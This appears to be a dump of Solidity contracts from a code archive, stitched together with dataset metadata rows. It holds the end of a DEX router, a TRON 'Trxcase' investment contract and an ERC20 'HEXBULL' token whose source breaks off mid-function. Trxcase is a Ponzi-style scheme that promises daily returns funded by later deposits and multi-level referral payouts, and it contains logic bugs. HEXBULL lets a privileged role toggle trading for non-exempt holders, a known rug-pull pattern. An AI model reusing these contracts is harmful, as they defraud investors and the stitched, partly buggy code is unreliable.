amountStable = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
pair = pairFor(tokenIn, tokenOut, false);
if (IBaseV1Factory(factory).isPair(pair)) {
amountVolatile = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
return amountStable > amountVolatile ? (amountStable, true) : (amountVolatile, false);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(uint amountIn, route[] memory routes) public view returns (uint[] memory amounts) {
require(routes.length >= 1, 'BaseV1Router: INVALID_PATH');
amounts = new uint[](routes.length+1);
amounts[0] = amountIn;
for (uint i = 0; i < routes.length; i++) {
address pair = pairFor(routes[i].from, routes[i].to, routes[i].stable);
if (IBaseV1Factory(factory).isPair(pair)) {
amounts[i+1] = IBaseV1Pair(pair).getAmountOut(amounts[i], routes[i].from);
}
}
}
function isPair(address pair) external view returns (bool) {
return IBaseV1Factory(factory).isPair(pair);
}
function quoteAddLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired) external view returns (uint amountA, uint amountB, uint liquidity) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
(uint reserveA, uint reserveB) = (0,0);
uint _totalSupply = 0;
if (_pair != address(0)) {
_totalSupply = erc20(_pair).totalSupply();
(reserveA, reserveB) = getReserves(tokenA, tokenB, stable);
}
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
liquidity = Math.sqrt(amountA * amountB) - MINIMUM_LIQUIDITY;
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
(amountA, amountB) = (amountAOptimal, amountBDesired);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
}
}
}
function quoteRemoveLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity) external view returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
return (0,0);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
uint _totalSupply = erc20(_pair).totalSupply();
amountA = liquidity * reserveA / _totalSupply; // using balances ensures pro-rata distribution
amountB = liquidity * reserveB / _totalSupply; // using balances ensures pro-rata distribution
}
function _addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin) internal returns (uint amountA, uint amountB) {
require(amountADesired >= amountAMin);
require(amountBDesired >= amountBMin);
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
_pair = IBaseV1Factory(factory).createPair(tokenA, tokenB, stable);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, stable, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = pairFor(tokenA, tokenB, stable);
_safeTransferFrom(tokenA, msg.sender, pair, amountA);
_safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IBaseV1Pair(pair).mint(to);
}
function addLiquidityFTM(address token,
bool stable,
uint amountTokenDesired,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) external payable ensure(deadline) returns (uint amountToken, uint amountFTM, uint liquidity) {
(amountToken, amountFTM) = _addLiquidity(token,
address(wftm),
stable,
amountTokenDesired,
msg.value,
amountTokenMin,
amountFTMMin);
address pair = pairFor(token, address(wftm), stable);
_safeTransferFrom(token, msg.sender, pair, amountToken);
wftm.deposit{value: amountFTM}();
assert(wftm.transfer(pair, amountFTM));
liquidity = IBaseV1Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountFTM) _safeTransferFTM(msg.sender, msg.value - amountFTM);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
require(IBaseV1Pair(pair).transferFrom(msg.sender, pair, liquidity)); // send liquidity to pair
(uint amount0, uint amount1) = IBaseV1Pair(pair).burn(to);
(address token0,) = sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityFTM(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountToken, uint amountFTM) {
(amountToken, amountFTM) = removeLiquidity(token,
address(wftm),
stable,
liquidity,
amountTokenMin,
amountFTMMin,
address(this),
deadline);
_safeTransfer(token, to, amountToken);
wftm.withdraw(amountFTM);
_safeTransferFTM(to, amountFTM);
}
function removeLiquidityWithPermit(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
{
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
}
(amountA, amountB) = removeLiquidity(tokenA, tokenB, stable, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityFTMWithPermit(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountFTMMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountFTM) {
address pair = pairFor(token, address(wftm), stable);
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountFTM) = removeLiquidityFTM(token, stable, liquidity, amountTokenMin, amountFTMMin, to, deadline);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, route[] memory routes, address _to) internal virtual {
for (uint i = 0; i < routes.length; i++) {
(address token0,) = sortTokens(routes[i].from, routes[i].to);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = routes[i].from == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < routes.length - 1 ? pairFor(routes[i+1].from, routes[i+1].to, routes[i+1].stable) : _to;
IBaseV1Pair(pairFor(routes[i].from, routes[i].to, routes[i].stable)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
route[] memory routes = new route[](1);
routes[0].from = tokenFrom;
routes[0].to = tokenTo;
routes[0].stable = stable;
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactFTMForTokens(uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[0].from == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(msg.value, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
wftm.deposit{value: amounts[0]}();
assert(wftm.transfer(pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]));
_swap(amounts, routes, to);
}
function swapExactTokensForFTM(uint amountIn, uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[routes.length - 1].to == address(wftm), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, address(this));
wftm.withdraw(amounts[amounts.length - 1]);
_safeTransferFTM(to, amounts[amounts.length - 1]);
}
function UNSAFE_swapExactTokensForTokens(uint[] memory amounts,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory) {
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
return amounts;
}
function _safeTransferFTM(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 80,712 | 13,921 |
27b3d5a1e7532b40334c76e391ccd761ecc17b1391cab25a42a369c69bf660ee
| 17,160 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCicGQ5Vpp5VVPtnpa6VJF8MBxfbcZWPKm_Trxcase.sol
| 4,082 | 12,469 |
//SourceUnit: trxcase.sol
pragma solidity 0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Trxcase {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 200 trx;
uint256 constant public BASE_PERCENT = 20;
uint256 constant public MAX_HOLD_PERCENT = 5;
uint256[] public REFERRAL_PERCENTS = [50,20, 10];
uint256 constant public MARKETING_FEE = 100;
uint256 constant public PROJECT_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 24 hours;
uint256 constant public LEADER_BONUS_STEP=5;
uint256 constant public MAX_LEADER_PERCENT=5;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address payable referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 refEarning;
uint256 match_bonus;
uint256 reinvested;
uint256 withdrawn;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address payable referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT,"min amount is 200 trx");
uint256 _amount=msg.value;
marketingAddress.transfer(_amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(_amount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, _amount.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = _amount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(_amount, 0, block.timestamp));
totalInvested = totalInvested.add(_amount);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, _amount);
}
function ReInvest(address userAddress,uint256 amount) private {
// require(amount >= INVEST_MIN_AMOUNT,"min amount is 200 trx");
User storage user = users[userAddress];
user.deposits.push(Deposit(amount, 0, block.timestamp));
totalInvested = totalInvested.add(amount);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(userAddress, amount);
user.reinvested = user.reinvested.add(amount);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(BASE_PERCENT.add(userPercentRate)).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(BASE_PERCENT.add(userPercentRate)).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(3)) {
dividends = (user.deposits[i].amount.mul(3)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
distributeRefBonus(msg.sender,totalAmount);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
user.refEarning = user.refEarning.add(referralBonus);
}
if(user.match_bonus>0){
totalAmount= totalAmount.add(user.match_bonus);
user.match_bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
require(contractBalance > totalAmount,"Contract Balance is lower");
user.withdrawn = user.withdrawn.add(totalAmount);
ReInvest(msg.sender,totalAmount.mul(20).div(100));
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount.mul(80).div(100));
totalWithdrawn = totalWithdrawn.add(totalAmount.mul(80).div(100));
emit Withdrawn(msg.sender, totalAmount.mul(80).div(100));
}
function distributeRefBonus(address userAddress,uint256 amount) private
{
for(uint256 i=0;i<10;i++)
{
address payable upline = users[userAddress].referrer;
if(upline!=address(0))
{
users[upline].match_bonus = users[upline].match_bonus.add(amount.mul(10).div(100));
userAddress = upline;
}
}
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier.add(getLeaderBonusRate(userAddress));
} else {
return getLeaderBonusRate(userAddress);
}
}
function getLeaderBonusRate(address userAddress) public view returns (uint) {
uint leaderBonusPercent = users[userAddress].level1.div(LEADER_BONUS_STEP);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint userPercentRate = BASE_PERCENT.add(getUserPercentRate(msg.sender));
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(3)) {
dividends = (user.deposits[i].amount.mul(3)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
User memory _user=users[userAddress];
return (_user.level1, _user.level2, _user.level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return (users[userAddress].bonus);
}
function getUserMatchBonus(address userAddress) public view returns(uint256) {
return (users[userAddress].match_bonus);
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserReinvested(address userAddress) public view returns(uint256) {
return users[userAddress].reinvested;
}
function getUserRefEarnings(address userAddress) public view returns(uint256,uint256) {
return (users[userAddress].refEarning,users[userAddress].withdrawn);
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserCheckpoint(userAddress) == 0){
return (block.timestamp.sub(users[userAddress].checkpoint)).mod(24);
}else {
return 0;
}
}
}
| 304,445 | 13,922 |
a4c69e14746b6830779ec79bf01df8767a4e6c769e3f95fc27615e2198142eb1
| 14,559 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/0a/0a4241aec94cecc0e3f2b1d9893f481e2b3245c5_HEXBULL.sol
| 3,677 | 13,947 |
//SPDX-License-Identifier: MIT
// t.me/HexBullCoin
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Dist {
function swap() external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract HEXBULL is ERC20, Ownable {
// Events
event SetMaxWallet(uint256 maxWalletToken);
event SetFees(uint256 DevFee);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetIsTxLimitExempt(address holder, bool enabled);
event SetFeeReceiver(address DevWallet);
event StuckBalanceSent(uint256 amountETH, address recipient);
// Mappings
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
// Basic Contract Info
string constant _name = "HEX BULL";
string constant _symbol = "HEXBULL";
uint8 constant _decimals = 18;
uint256 _totalSupply = 100000 * (10 ** _decimals);
// Max wallet
uint256 public _maxWalletSize = (_totalSupply * 15) / 1000;
uint256 public _maxTxSize = (_totalSupply * 15) / 1000;
// Fee receiver
uint256 public DevFeeBuy = 0;
uint256 public MarketingFeeBuy = 0;
uint256 public LiquidityFeeBuy = 6;
uint256 public DevFeeSell = 0;
uint256 public MarketingFeeSell = 0;
uint256 public LiquidityFeeSell = 6;
uint256 public TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
// Fee receiver & Dead Wallet
address public DevWallet;
address public MarketingWallet;
address constant private DEAD = 0x000000000000000000000000000000000000dEaD;
// Router
IDEXRouter public router;
address public pair;
address public Liq = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
address public dist;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000 * 3; // 0.3%
bool public isTradingEnabled = false;
address public tradingEnablerRole;
uint256 public tradingTimestamp;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor(address _dev, address _marketing, address _dist) Ownable(msg.sender) {
router = IDEXRouter(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
_allowances[address(this)][address(router)] = type(uint256).max;
address _owner = owner;
DevWallet = _dev;
MarketingWallet = _marketing;
dist = _dist;
isFeeExempt[_owner] = true;
isTxLimitExempt[_owner] = true;
isFeeExempt[MarketingWallet] = true;
isTxLimitExempt[MarketingWallet] = true;
isFeeExempt[dist] = true;
isTxLimitExempt[dist] = true;
tradingEnablerRole = _owner;
tradingTimestamp = block.timestamp;
_balances[DevWallet] = _totalSupply * 100 / 100;
emit Transfer(address(0), DevWallet, _totalSupply * 100 / 100);
}
receive() external payable { }
// Basic Internal Functions
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
////////////////////////////////////////////////
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - (amount);
}
return _transferFrom(sender, recipient, amount);
}
function getPair() public onlyOwner {
pair = IDEXFactory(router.factory()).getPair(address(this), Liq);
if (pair == address(0)) {pair = IDEXFactory(router.factory()).createPair(address(this), Liq);}
}
function renounceTradingEnablerRole() public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
tradingEnablerRole = address(0x0);
}
function setIsTradingEnabled(bool _isTradingEnabled) public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
isTradingEnabled = _isTradingEnabled;
tradingTimestamp = block.timestamp;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount);}
require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingEnabled, "Not authorized to trade yet");
// Checks max transaction limit
if (sender != owner && sender != MarketingWallet && recipient != owner && recipient != DEAD && recipient != pair) {
require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
//Exchange tokens
if(shouldSwapBack()){swapBack();}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Internal Functions
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) {
feeAmount = amount * (DevFeeBuy + MarketingFeeBuy + LiquidityFeeBuy) / 1000;
} if (sender != pair && recipient == pair) {
feeAmount = amount * (DevFeeSell + MarketingFeeSell + LiquidityFeeSell) / 1000;
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)] + (feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount - (feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiq = balanceOf(address(this)) * (LiquidityFeeBuy + LiquidityFeeSell) / (2 * TotalBase);
uint256 amountToSwap = balanceOf(address(this)) - amountToLiq;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = Liq;
